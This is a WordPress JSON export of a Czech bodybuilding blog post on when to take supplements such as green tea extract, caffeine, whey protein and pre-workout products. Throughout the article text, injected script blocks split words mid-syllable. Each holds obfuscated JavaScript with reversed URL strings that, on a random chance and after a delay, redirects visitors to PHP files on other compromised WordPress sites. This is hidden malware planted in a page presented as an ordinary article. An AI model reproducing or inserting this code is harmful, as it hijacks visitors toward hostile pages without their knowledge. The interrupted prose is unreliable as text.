{"id":532,"date":"2021-11-23T18:37:45","date_gmt":"2021-11-23T18:37:45","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=532"},"modified":"2021-11-23T18:37:45","modified_gmt":"2021-11-23T18:37:45","slug":"nacasovani-suplementace","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2021\/11\/23\/nacasovani-suplementace\/","title":{"rendered":"NA\u010cASOV\u00c1N\u00cd SUPLEMENTACE"},"content":{"rendered":"<p><strong>U suplement\u016f rozhoduje nejenom, <\/strong><\/p>\n<p><strong>CO u\u017e\u00edv\u00e1te, <\/strong><\/p>\n<p><strong>ale taky KDY.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>Budov\u00e1n\u00ed sval\u016f nez\u00e1vis\u00ed jen na \u010dase, kter\u00fd str\u00e1v\u00edte ve fitku. Zcela z\u00e1sadn\u00ed roli hraje v\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to procesu tak\u00e9 v\u00fd\u017eiva. Jej\u00ed kvalita rozhodne o <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom, jestli se z\u00a0tlou\u0161t\u00edka \u010di hube\u0148oura stane svalovec. V\u00a0prvn\u00ed \u0159ad\u011b si tedy mus\u00edte upravit j\u00eddeln\u00ed\u010dek a v\u00a0dal\u0161\u00ed f\u00e1zi p\u0159ijde na \u0159adu spr\u00e1vn\u00e1 suplementace. Ta optimalizuje metabolick\u00e9 procesy a urychl\u00ed regeneraci. Nejste si jist\u00ed, jak\u00e9 suplementy pou\u017e\u00edt a kdy? Inspirujte se na\u0161\u00edm pr\u016fvodcem!<\/p>\n<p>&nbsp;<\/p>\n<p><strong>VST\u00c1VAT A CVI\u010cIT!<\/strong><\/p>\n<p>Pat\u0159\u00edte k\u00a0t\u011bm, kte\u0159\u00ed tr\u00e9nuj\u00ed rad\u011bji po r\u00e1nu? Pak ale mus\u00edte t\u011blu dodat dostatek \u017eivin, aby se po no\u010dn\u00edm hladov\u011bn\u00ed nastar<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovala proteosynt\u00e9za a doplnily cukry. T\u00edm p\u00e1dem pot\u0159ebujete rychle straviteln\u00e9 b\u00edlkoviny, kter\u00e9 se rychle dostanou do sval\u016f, a cukry na b\u00e1zi vysokomolekul\u00e1rn\u00edch sacharid\u016f (tzn. \u0161kroby), i ty jsou rychle straviteln\u00e9 a zajist\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik pot\u0159ebn\u00fd transport energie p\u0159\u00edmo do sval\u016f.\u00a0 Svalov\u00e1 tk\u00e1\u0148 se <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e po sp\u00e1nku nach\u00e1z\u00ed ve stadiu katabolismu. Ten byste vynech\u00e1n\u00edm sn\u00eddan\u011b jen podpo\u0159ili a hrozilo by odbour\u00e1v\u00e1n\u00ed svalov\u00e9 hmoty i n\u00e1sledn\u00e9 zpomalen\u00ed metabolismu.<\/p>\n<p>Ti z\u00a0v\u00e1s, kte\u0159\u00ed cht\u011bj\u00ed nav\u00edc spalovat tuky a pot\u0159ebuj\u00ed po r\u00e1nu trochu \u201enakopnout\u201c, by nem\u011bli zapomenout na \u0161\u00e1lek k\u00e1vy a p\u0159idat d\u00e1vku extraktu ze zelen\u00e9ho \u010daje. Zelen\u00fd \u010daj coby kvalitn\u00ed zdroj antioxidant\u016f zajist\u00ed organismu pot\u0159ebnou ochranu p\u0159ed voln\u00fdmi radik\u00e1ly a pom\u016f\u017ee dostat metabolismus do \u017e\u00e1douc\u00edch obr\u00e1tek \u2013 t\u00edm sp\u00ed\u0161, je-li kombinov\u00e1n s\u00a0kofeinem. Tahle siln\u00e1 dvojka si <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e vz\u00e1jemn\u011b vypom\u00e1h\u00e1 jak p\u0159i spalov\u00e1n\u00ed tuk\u016f, tak v\u00a0roli efektivn\u00edch energiz\u00e9r\u016f.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>D\u00e1vkov\u00e1n\u00ed:<\/strong><\/p>\n<p>Extrakt ze zelen\u00e9ho \u010daje: 500 mg (ide\u00e1ln\u011b s\u00a050 % standardizovan\u00e9ho obsahu EGCG)<\/p>\n<p>K\u00e1va: 1 \u0161\u00e1lek (100 mg kofeinu)<\/p>\n<p>Syrov\u00e1tkov\u00fd protein: 30 g<\/p>\n<p>Vysokomolekul\u00e1rn\u00ed sacharidy: 30 g<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>V\u00a0\u010cASE SN\u00cdDAN\u011a<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-534 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/11\/WEB2-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/11\/WEB2-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/11\/WEB2-768x512.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/11\/WEB2.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/strong><\/p>\n<p>I vydatnou sn\u00eddani je vhodn\u00e9 doplnit suplementy. Ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tokr\u00e1t p\u0159ijde ke slovu multivitamin a ide\u00e1ln\u011b n\u011bjak\u00e1 ta sm\u011bs superpotravin zn\u00e1m\u00e1 pod n\u00e1zvem \u201eGreens\u201c. Ani sebekvalitn\u011bj\u0161\u00ed strava <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e nedod\u00e1 t\u011blu podroben\u00e9mu skute\u010dn\u011b n\u00e1ro\u010dn\u00e9mu tr\u00e9ninku v\u0161echny \u017eiviny dostate\u010dn\u011b rychle. Pot\u0159ebujete tzv. mikronutrienty (vitaminy atd.), aby zajistily spr\u00e1vn\u00fd pr\u016fb\u011bh tr\u00e1vic\u00edch proces\u016f a co nejlep\u0161\u00ed vst\u0159eb\u00e1v\u00e1n\u00ed \u017eivin. Greens jsou skv\u011bl\u00fdm zdrojem fy<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tonutrient\u016f, antioxidant\u016f a enzym\u016f, d\u00edky nim\u017e si t\u011blo zajist\u00ed pot\u0159ebn\u00e9 antioxida\u010dn\u00ed schopnosti, silnou imunitu a kvalitn\u00ed regeneraci. Kdy\u017e p\u0159id\u00e1te nav\u00edc kvalitn\u00ed oleje (ryb\u00ed, konopn\u00fd atp.), z\u00edsk\u00e1te zdroj omega-3 mastn\u00fdch kyselin a t\u00edm p\u00e1dem pot\u0159ebnou hormon\u00e1ln\u00ed rovnov\u00e1hu plus zaji\u0161t\u011bn\u00ed dostate\u010dn\u00e9 produkce tes<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tosteronu.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>D\u00e1vkov\u00e1n\u00ed:<\/strong><\/p>\n<p>Greens: 1 odm\u011brka<\/p>\n<p>Multivitamin: 1 d\u00e1vka<\/p>\n<p>Ryb\u00ed olej: 2-3 gramy<\/p>\n<p>nebo<\/p>\n<p>Konopn\u00fd olej: 1 pol\u00e9vkov\u00e1 l\u017e\u00edce<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong>ENERGIE V\u00a0DOB\u011a OB\u011aDA<\/strong><\/p>\n<p>Asi p\u016fl hodiny p\u0159ed j\u00eddlem p\u0159ich\u00e1z\u00ed ta spr\u00e1vn\u00e1 chv\u00edle na druhou d\u00e1vku energizuj\u00edc\u00edch suplement\u016f, tzn. extraktu ze zelen\u00e9ho \u010daje a kofeinu (p\u0159\u00edpadn\u011b m\u016f\u017eete vyu\u017e\u00edt kvalitn\u00ed spalova\u010d). D\u00edky <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu udr\u017e\u00edte metabolismus v\u00a0chodu a chu\u0165 k\u00a0j\u00eddlu pod kontrolou.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>D\u00e1vkov\u00e1n\u00ed:<\/strong><\/p>\n<p>Extrakt ze zelen\u00e9ho \u010daje: 500 mg<\/p>\n<p>K\u00e1va: 1 \u0161\u00e1lek nebo 100 mg kofeinu<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p><strong><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-535 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/11\/WEB3-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/11\/WEB3-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/11\/WEB3-768x512.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/11\/WEB3.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>P\u0158ED TR\u00c9NINKEM<\/strong><\/p>\n<p>Chyst\u00e1te se na tr\u00e9nink a\u017e odpoledne? Pracuj\u00edc\u00ed svaly spot\u0159ebov\u00e1vaj\u00ed p\u0159i svoj\u00ed kontrakci \u0159adu d\u016fle\u017eit\u00fdch \u017eivin. Sna\u017ete se je dostate\u010dn\u011b doplnit je\u0161t\u011b p\u0159ed zah\u00e1jen\u00edm tr\u00e9ninku. P\u016fl hodiny p\u0159ed cvi\u010den\u00edm byste tedy m\u011bli u\u017e\u00edvat citrulline mal\u00e1t, agmatin a betain, abyste si zajistili pot\u0159ebnou hladinu energie, vytrvalost a schopnost svaly dostate\u010dn\u011b napumpovat. Agmatin stimuluje krevn\u00ed ob\u011bh a zvy\u0161uje hladinu NO. Jakmile je pr\u016f<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tok krve rychlej\u0161\u00ed, do pracuj\u00edc\u00edch sval\u016f se dost\u00e1v\u00e1 v\u00edce \u017eivin. Betain podporuje r\u016fst sval\u016f a oxidaci tuk\u016f, zat\u00edmco citrulline zvy\u0161uje hladinu energie a redukuje kyselost ve svalech, \u010d\u00edm\u017e zabra\u0148uje n\u00e1stupu \u00fanavy.<\/p>\n<p>V\u00a0p\u0159\u00edpad\u011b pot\u0159eby m\u016f\u017eete nyn\u00ed u\u017e\u00edt dal\u0161\u00ed d\u00e1vky extraktu zelen\u00e9ho \u010daje a kofeinu. Ta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u00a0po\u0159ad\u00ed t\u0159et\u00ed denn\u00ed d\u00e1vka m\u00e1 